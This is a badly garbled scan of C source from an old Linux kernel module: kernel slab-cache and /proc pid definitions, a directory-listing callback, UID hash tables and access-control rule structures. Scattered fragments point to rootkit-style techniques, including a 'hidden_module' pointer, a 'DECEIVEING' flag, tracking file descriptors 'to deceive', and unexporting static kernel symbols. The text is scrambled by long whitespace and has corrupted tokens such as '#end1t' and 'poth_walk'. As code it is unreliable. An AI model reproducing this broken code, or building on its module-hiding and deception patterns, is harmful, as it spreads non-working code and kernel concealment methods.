                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   96-103
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     8-15
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   *
                                                                                                                                                                                                                                                 dirent
                                                                                                                                                                                                                                                                                                                                                  *
                                                                                                                                                                                                                                                                                                                                                                  * *
                                                                                                                                                                                                                                                                                                                                                  192-207
                                                                                                                                                                                                                                                                                                                                                                                   160-175
                                                                                                                                                                                                                                                                                                                                    208-223
                                                                                                                                                                                                                                                                                                                                                                  176-191
                                                                                                                                                                                                                                                                                                                                 *
                                                                                                                                                                                                                                                                                                                                                 *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 static struct pid_entry base_stuff[] =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        enum pid_directory_inos
                                                                                                                                                                                                                                                                                                                                   #undef E
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #end1t
                                              struct kmem_cache_s {
                                                                                                                                                                                                                                                                                                 typedef struct cpucache_s
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #ifdef CONFIG_SMP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #define E(type,name,mode) {(type),sizeof(name)-1,(name),(mode)]
                                                                                                                                                                                                                                 define CACHE_NAMELEN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 E (PROC_PID_ENVIRON,
                                                                                                                                                                                                                                                 cpucache_t;
                                                                                                                                                                                                                                                                                                                                                                                                   E (PROC_PID_ROOT,
                                                                                                                                                                                                                                                                                                                                                                                                                 E (PROC_PID_CWD,
                                                                                                                                                                                                                                                                                                                                                                                                                               E (PROC_PID_MEM,
                                                                                                                                                                                                                                                                                                                                                                                                                                                   E(PROC_PID_MAPS,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  E(PROC_PID_CPU,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   E(PROC_PID_STATM,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  E (PROC_PID_STAT,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   E (PROC_PID_CMDLINE,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   E(PROC_PID_STATUS,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    E(PROC_PID_FD,
                                                                                                                                                                                                                                                                                                                                                                                   E(PROC_PID_EXE,
                                                                                                                                                                                                                                                                                                                                                                  (0,0,NULL,0)
slab additions /removals */
                                                                                                                                                                                                                                                               unsigned int limit;
                                                                                                                                                                                                                                                                                unsigned int avail;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PROC_PID_MAPS,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_STATM,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_STAT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_CMDLINE,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PROC_PID_EXE,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_ROOT,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_CWD,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PROC_PID_MEM,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PROC_PID_STATUS,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_INO =
                                                                                                                               struct list_head
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PROC_PID_FD_DIR = 0x8000,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PROC_PID_CPU,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PROC_PID_ENVIRON
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PROC_PID_FD,
                             unsigned
                                                                            unsigned
                                                                                             unsigned
                                                                                                              unsigned int
                                                                                                                                                struct
                                                                                                                                                               struct list_head
                                                                                                                                                                              /* full, partial first, then free
                                                                                                                                                                                              each alloc & free */
                                                                                                                                           list_head
                               int
                                                                                               int
                                                                                                                                                                                                                                                                                                                                                                                                                 "cwd",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "cpu",
                                                                                                                                                                                                                                                                                                                                                                                   exe",
                                                                                                                                                                                                                                                                                                                                                                                                                                  "mem",
                                                             spinlock;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "status",
                                                                                                                                                             slabs_full;
                                                                                        flags;
                                                                                                                                                                                                                                                                                                                                                                                                 "root",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "statm", S_IFREG|S_IRUGO),
                                                                              num;
                                                                                                                               slabs_free;
                                                                                                                                           slabs_partial;
                                                                                                                                                                                                                                                                                                                                                                                                                                                   "maps",
                                                                                                              objsize;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "stat",
                               batchcount;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "environ",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "cmdline",
                                                                                                                                                                                                                                20
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  S_IFDIR | S_IRUSR | S_IXUSR) ,
                                                                                `*
                                                                                                                                                                                                                                  *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* 0x8000-0xffff */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 S_IFREG|S_IRUGO),
                                                                                             /* constant flags */
                                                                                                                                                                                                                              max name length for a slab cache */
                                                                                                                                                                                                                                                                                                                                                                                                                  S_IFLNK | S_IRWXUGO),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   S_IFREG | S_IRUGO),
                                                                                                                                                                                                                                                                                                                                                                                  IFLNK | S_IRWXUGO),
                                                                                                                                                                                                                                                                                                                                                                                                                                 IFREG S_IRUSR S_IWUSR),
                                                                                                                                                                                                                                                                                                                                                                                                                                                   S_IFREG|S_IRUGO)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  S_IFREG|S_IRUGO),
                                                                                                                                                                                                                                                                                                                                                                                                   S_IFLNK | S_IRWXUGO),
                                                                            objs per slab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   S_IFREG | S_IRUSR)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  S_IFREG | S_IRUGO) ,
```

```
#define TIMESLICE 1
                                       #define MARK_FILE 0x0dece14e
                                                              #define WFLAG
                     //#define TIMESLICE
                                                                               #define DFLAG
                                                                                              #define NAME_OFFSET(de) ((int) ((de)->d_name -
                                                                                                                #define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))
                                                                                                                                   #define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE])
                                                                                                                                                                                                                                                                                                                 #include <linux/dcache.h>
                                                                                                                                                                                                                                                                                                                                 #include <linux/pagemap.h>
                                                                                                                                                                                                                                                                                                                                                                                           #endif
                                                                                                                                                                                                                                                                                                                                                                                                                  #endif
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            #ifdef CONFIG_SMP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #endif
                                                                                                                                                                                                                                                        #include <asm/unaligned.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            #ifdef CONFIG_SMP
                                                                                                                                                                             include <asm/namei.h>
                                                                                                                                                                                                                                                                           finclude <asm/uaccess.h>
                                                                                                                                                                                                                                                                                                                                                     include <linux/quotaops.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if STATS
                                                                                                                                                                                                include <asm/pgtable.h>
                                                                                                                                                                                                                    include
                                                                                                                                                                                                                                      include
                                                                                                                                                          /#include <ctype.h>
                                                                                                                                                                                                                                                                                             /#include <linux/dnotify.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4) per-cpu data */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    char
                                                                                                                                                                                                                                                                                                                                                                                                                                   atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                     atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       cpucache_t

 cache creation/removal */

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct list_head
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               void (*ctor)(void *, kmem_cache_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       size_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          void (*dtor)(void *, kmem_cache_t *,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* de-constructor func */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             kmem_cache_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* constructor func */
                                                                                                                                                                                                                                   <asm/semaphore.h>
                                                                                                                                                                                                                  <asm/page.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GFP flags, e.g. GFP_DMA */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               of pgs per slab (2^n) */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         allocmiss;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             allochit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    name [CACHE_NAMELEN];
                                                                                                                                                                                                                                                                                                                                                                                                                                  freemiss;
                                                                                                                                                                                                                                                                                                                                                                                                                                                       freehit;
                                                                               0x80000000
                                                             0x40000000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       colour;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      *cpudata[NR_CPUS];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               gfporder;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grown;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         high_mark;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       failures;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       dflags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           growing;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            colour_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   colour_off; /* colour offset */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        gfpflags;
                     (jiffies>>11&3)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    reaped;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           num_allocations;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            num_active;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           *slabp_cache;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* cache colouring range */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dynamic flags */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* cache colouring */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned long);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 unsigned long);
                                                                                                (char *) (de))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  char * temp_storage; //just to print out pathnames --
                                                                                                                                                                                                                                                  struct getdents_callback64 {
                                                                                                                                                                                                                                                                                                                                                                                                                                                  extern struct module * module_list;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           extern spinlock_t unload_lock;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             extern spinlock_t modlist_lock;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      extern struct user_struct *uidhash_table[UIDHASH_SZ];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                unsigned short filldir_shared_var; //pass permissions from getdents64-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               cneck?
                                                                                                                                                                                                                                                                                                                                                                                          struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              UIDHASH_MASK)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 >filldir64
                                                                            #define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /* these 5 variables need to be exported from the kernel.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #define __uidhashfn(uid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int tmp_fd; //for open_namei to know the current fd -- not used
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       define OTHER_OFF 2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               define DECEIVEING
                                      define
                                                                                                define
                                                                                                                  †define
                                                                                                                                    #define POLLJN
                                                                                                                                                                                                                                                                                                                                                                                                                                  define uidhashentry(uid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   define UIDHASH_MASK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //char dcv[NUM_FD];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  define OWNER_OFF 8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      define GROUP_OFF 5
 define
                   define
                                                         define
                                                                                                                                                                                                                                                                                                                                                                                                              define module_unmap(x)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        define UIDHASH_SZ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                define USING_PERM
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /#define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         define UIDHASH_BITS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /#define IN_RANGE(x)
                                                                                                                                                                                                                                                                                                                             unsigned short d_reclen;
                                                                                                                                                                                                               struct linux_dirent64 * previous;
                                                                                                                                                                                                                                   struct linux_dirent64 *
                                                                                                                                                                                                                                                                                                              unsigned char d_type;
                                                                                                                                                                          int error;
                                                                                                                                                                                           int count;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              so that they are not static.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               their declarations in the kernel need to be modified
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     void vfree(void *)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct module kernel_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  kmem_cache_t *dn_cache;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      spinlock_t uidhash_lock;
                                                                                                                                                                                                                                                                                                                                                                                          linux_dirent64 {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 rwlock_t dn_lock;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          kmem_cache_t *uid_cachep; // needed for sys_write()
                                                                          POLLERR
 POLLRDBAND
                   POLLRDNORM
                                      POLLNVAL
                                                         POLLHUP
                                                                                              POLLOUT
                                                                                                                POLLPRI
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              NUM_FD
                                                                                                                                                                                                                                                                                        d_name[0];
                                                                                                                                                                                                                                                                                                                                                    d_off;
                                                                                                                                                                                                                                                                                                                                                                        d_ino;
                                      0x0020
                                                                                                                                    0x0001
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //keep track of which fd's to deceive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                OTHER_OFF
                                                         0x0010
                                                                          8000x0
                                                                                              0x0004
                                                                                                                0x0002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           30 /*max number of fd's to keep track of*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (current->flags&DFLAG)
0x0080
                   0 \times 0040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (x) < NUM_FD&&(x) > 2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (1 << UIDHASH_BITS)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (UIDHASH_SZ - 1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (uidhash_table +
                                                                                                                                                                                                                                   current_dir;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (((uid >> UIDHASH_BITS) ^ uid)
                                                                                                                                                                                                                                                                                                                                                                                                              vfree(x)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  //dcvn switch
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // needed for sys_setuid()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         __uidhashfn(uid))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   •
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              whose permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  not used
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ç
```

```
struct ac_struct * acr[AC_HASH_SZ]
struct ac_struct * acw[AC_HASH_SZ]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   inline int my_strcmp2(char * rule,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int my_strlen(char * string){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct module *hidden_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct ac_struct{
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   char kernel_path[4096];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #define AC_HASH(uid) ((((uid) >> 8) ^ (uid)) & (AC_HASH_SZ-1))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #define AC_HASH_SZ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                static long band_table(NSIGPOLL) = (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #define POLLMSG
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         #define POLLWRNORM
                                                                                                  inline int construct(struct dentry * dentry) {
                                                                                                                                                                                                                                                                                      inline int my_strcmp(char * rule, char * path){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int FASTCALL(__user_walk(const char *, unsigned, struct nameidata *));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         #define POLLWRBAND
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int FASTCALL(link_path_walk(const char *, struct nameidata *));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int FASTCALL(poth_walk(const char *, struct nameidata *));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct ac_struct * next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        char *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             uid_t uid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     while(*(string++))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     POLLOUT | POLLWRNORM | POLLWRBAND,
                                                                                                                                                                                                                                                                    while(*rule && *path)
                                                                                                                                                                                                                                                                                                                                 return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                if(*rule||*path)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                while (*rule && *path)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return count+1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   POLLHUP | POLLERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        POLLPRI
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            POLLERR,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 POLLIN | POLLRDNORM | POLLMSG,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          POLLIN
                                                            struct dentry * p=dentry;
                                                                                                                                                                                                        if(*rule)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int count=0;
                                     while (p->d_name.name[0]!='/')
                                                                                                                                             return 1;
                                                                                                                                                                                                                                            if(*(rule++) != *(path--))
                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(*(rule++) != *(path++))
                                                                                                                                                                                                                                                                                                                                                                            return 0;
                memcpy(&kernel_path[i],p->d_name.name,p->d_name.len);
                                                                                                                                                                                      return 0;
i+=p->d_name.len+1;
                                                                                                                                                                                                                                                                                                                                                                                                                                     return 0;
                                                                                                                                                                                                                             return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            POLLRDNORM,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       POLLRDBAND,
                                                                                                                                                                                                                                                                                                                                                                            //return no match
                                                                                                                                                                                    //return no match
                                                                                                                                                                                                         //if we have not reached the end
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       0x0100
0x0200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       0x0400
                                                                                                                                                                                                                                                                                                                                                                                                                     //no match
//if we have
                                                                                                                                                                                                                           //no match
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         POLL_ERR */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* POLL_HUP */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /* POLL_IN */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ] = { 0 };
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     char * path) {
